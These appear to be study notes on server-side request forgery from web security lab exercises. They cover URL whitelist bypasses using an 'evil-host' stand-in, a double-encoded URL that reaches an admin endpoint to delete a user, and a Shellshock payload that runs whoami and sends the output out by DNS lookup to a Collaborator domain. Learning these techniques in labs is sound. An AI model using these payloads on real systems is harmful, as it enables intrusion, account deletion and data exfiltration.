Basic SSRF against the local server
- If the request is accessing an endpoint through http request, modify that and try to fetch something through http://localhost
Basic SSRF against another back-end system
Whitelist
- You can embed credentials in a URL before the hostname, using the @ character. For example: https://expected-host@evil-host.
- You can use the # character to indicate a URL fragment. For example: https://evil-host#expected-host.
- You can leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that you control. For example: https://expected-host.evil-host.
- You can URL-encode characters to confuse the URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request.
- You can use combinations of these techniques together.
This worked in lab:
- Change the URL to http://username@stock.weliketoshop.net/ and observe that this is accepted, indicating that the URL parser supports embedded credentials.
- Append a # to the username and observe that the URL is now rejected.
- Double-URL encode the # to %2523 and observe the extremely suspicious "Internal Server Error" response, indicating that the server may have attempted to connect to "username".
- Change the URL to http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos to access the admin interface and delete the target user.
Bypassing SSRF filters via open redirection
Blind SSRF with out-of-band detection
- Many web analytics softwares actively check for referer header and even make requests to them
- Put burp collaborator url in referer header and check if it makes a request
Blind SSRF with Shellshock exploitation
- Use Burp Collaborator client to generate a unique Burp Collaborator payload, and place this into the following Shellshock payload: () { :; }; /usr/bin/nslookup $(whoami).YOUR-SUBDOMAIN-HERE.burpcollaborator.net
- change the Referer header to http://internal_ip_to_access_using_ssrf